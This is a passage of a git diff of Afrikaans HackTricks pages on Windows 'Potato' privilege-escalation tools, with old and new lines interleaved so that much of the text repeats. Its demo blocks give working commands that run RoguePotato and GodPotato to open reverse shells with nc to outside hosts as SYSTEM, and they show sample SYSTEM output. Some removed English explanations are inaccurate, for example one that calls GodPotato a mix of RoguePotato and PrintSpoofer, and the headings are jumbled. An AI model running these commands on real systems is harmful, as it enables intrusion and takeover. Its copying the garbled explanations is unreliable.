* **COM Luisterpoort** _definieer die COM luisterpoort wat jy verkies (in plaas van die gemarshalleerde hardgekooide 6666)_
* **COM Luister IP-adres** _bind die bediener aan enige IP_
* **Proseskeuringsmodus** _afhangende van die geïmpersonaliseerde gebruiker se voorregte kan jy kies uit:_
* `CreateProcessWithToken` (benodig `SeImpersonate`)
* `CreateProcessAsUser` (benodig `SeAssignPrimaryToken`)
* `beide`
* **Proses om te begin** _begin 'n uitvoerbare lêer of skrifleer as die uitbuiting slaag_
* **Prosesargument** _pas die beginproses-argumente aan_
* **RPC-bedieneradres** _vir 'n sluipende benadering kan jy aanmeld by 'n eksterne RPC-bediener_
* **RPC-bedienerpoort** _nuttig as jy wil aanmeld by 'n eksterne bediener en die firewall poort `135` blokkeer..._
* **TOETS-modus** _hoofsaaklik vir toetsdoeleindes, d.w.s. toetsing van CLSIDs. Dit skep die DCOM en druk die gebruiker van token. Sien_ [_hier vir toetsing_](http://ohpe.it/juicy-potato/Test/)
### Gebruik <a href="#usage" id="usage"></a>
```
T:\>JuicyPotato.exe
JuicyPotato v0.1
@ -168,7 +138,7 @@ Dikwels werk die standaard CLSID wat JuicyPotato gebruik **nie** en misluk die u
Eerstens, sal jy 'n paar uitvoerbare lêers benodig buite juicypotato.exe.
Laai [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) af en laai dit in jou PS-sessie, en laai [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1) af en voer dit uit. Daardie skripsie sal 'n lys van moontlike CLSIDs skep om te toets.
Laai [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) af en laai dit in jou PS-sessie, en laai dan [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1) af en voer dit uit. Daardie skripsie sal 'n lys van moontlike CLSIDs skep om te toets.
Laai dan [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test\_clsid.bat)(verander die pad na die CLSID-lys en na die juicypotato-uitvoerbare lêer) af en voer dit uit. Dit sal begin om elke CLSID te probeer, en **wanneer die poortnommer verander, sal dit beteken dat die CLSID gewerk het**.
@ -178,12 +148,24 @@ Laai dan [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Tes
* [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diefstal-malware** gekompromitteer is.
Hul primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).

View file

@ -2,23 +2,37 @@
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe-malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneem en lospryse-aanvalle te bekamp wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
{% hint style="warning" %}
**JuicyPotato werk nie** op Windows Server 2019 en Windows 10-bou 1809 en later nie. Tog kan [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato) gebruik word om dieselfde bevoegdhede te benut en `NT AUTHORITY\SYSTEM`-vlak toegang te verkry. Hierdie [blogpos](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) gaan dieper in op die `PrintSpoofer`-instrument, wat gebruik kan word om impersonasiebevoegdhede op Windows 10- en Server 2019-gashere te misbruik waar JuicyPotato nie meer werk nie.
**JuicyPotato werk nie** op Windows Server 2019 en Windows 10 bou 1809 en later nie. Nietemin, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato) kan gebruik word om dieselfde voorregte te benut en `NT AUTHORITY\SYSTEM` vlak toegang te verkry. Hierdie [blogpos](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) gaan dieper in op die `PrintSpoofer`-werktuig, wat gebruik kan word om impersonasievoorregte op Windows 10 en Server 2019-gashere te misbruik waar JuicyPotato nie meer werk nie.
{% endhint %}
## Vinnige demonstrasie
## Vinnige Demo
### PrintSpoofer
```bash
@ -43,38 +57,9 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
# In some old versions you need to use the "-f" param
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
```
{% code %}
### SharpEfsPotato
SharpEfsPotato is a tool that exploits the EFS (Encrypting File System) service to achieve local privilege escalation on Windows systems. This technique can be used to gain elevated privileges and execute arbitrary code with SYSTEM level permissions.
#### Usage
To use SharpEfsPotato, follow these steps:
1. Download the SharpEfsPotato tool from the official GitHub repository.
2. Compile the source code using a C# compiler.
3. Execute the compiled binary on the target Windows system.
#### How it Works
SharpEfsPotato takes advantage of the EFS service, which is responsible for encrypting files on Windows systems. By creating a symbolic link to a target file, SharpEfsPotato can trick the EFS service into decrypting the file and executing arbitrary code with SYSTEM level permissions.
#### Mitigation
To mitigate the risk of SharpEfsPotato and similar attacks, follow these recommendations:
1. Regularly update and patch your Windows systems to ensure they have the latest security updates.
2. Implement strong access controls and permissions on sensitive files and directories.
3. Monitor and log EFS-related events to detect any suspicious activity.
4. Consider disabling the EFS service if it is not required for your organization's operations.
#### Conclusion
SharpEfsPotato is a powerful tool for local privilege escalation on Windows systems. It exploits the EFS service to gain elevated privileges and execute arbitrary code with SYSTEM level permissions. By following the mitigation recommendations, you can reduce the risk of such attacks and enhance the security of your Windows environment.
{% endcode %}
### SkerpEfsPotato
```
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
SharpEfsPotato by @bugch3ck
@ -93,23 +78,9 @@ df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc:
C:\temp>type C:\temp\w.log
nt authority\system
```
### GodPotato
### RoguePotato
GodPotato is a technique that combines the RoguePotato and PrintSpoofer exploits to achieve local privilege escalation on Windows systems. This technique takes advantage of the Windows Print Spooler service and its ability to load DLL files.
To execute the GodPotato attack, the attacker needs to have local administrator privileges on the target system. The attack involves the following steps:
1. First, the attacker needs to download and compile the RoguePotato exploit. This exploit abuses the COM object hijacking vulnerability in the Windows COM infrastructure.
2. Once the RoguePotato exploit is compiled, the attacker can execute it on the target system. This exploit will create a malicious DLL file and register it as a COM object.
3. After registering the malicious DLL, the attacker needs to download and compile the PrintSpoofer exploit. PrintSpoofer is a tool that allows the attacker to impersonate the SYSTEM account and gain elevated privileges.
4. With the PrintSpoofer exploit compiled, the attacker can execute it on the target system. This exploit will leverage the Print Spooler service to load the previously registered malicious DLL.
5. As a result, the attacker will gain elevated privileges on the target system, effectively escalating their access from a regular user to a local administrator.
It is important to note that the GodPotato technique requires local administrator privileges to be successful. Additionally, this technique can be detected and mitigated by applying the necessary security patches and configurations recommended by Microsoft.
RoguePotato is 'n tegniek wat gebruik maak van 'n kwesbaarheid in die Windows RPC-diens om plaaslike administratiewe regte te verkry op 'n Windows-masjien. Hierdie tegniek kan gebruik word om 'n aanvaller toe te laat om hul regte op 'n masjien te eskaleer sonder om enige wagwoorde te hoef te weet.
```
GodPotato -cmd "cmd /c whoami"
GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
@ -121,16 +92,28 @@ GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
* [https://github.com/bugch3ck/SharpEfsPotato](https://github.com/bugch3ck/SharpEfsPotato)
* [https://github.com/BeichenDream/GodPotato](https://github.com/BeichenDream/GodPotato)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diefstal malware** **gekompromiteer** is.
Die primêre doel van WhiteIntel is om rekening-oorneem te bekamp en lospryse aanvalle as gevolg van inligtingsteel malware te voorkom.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>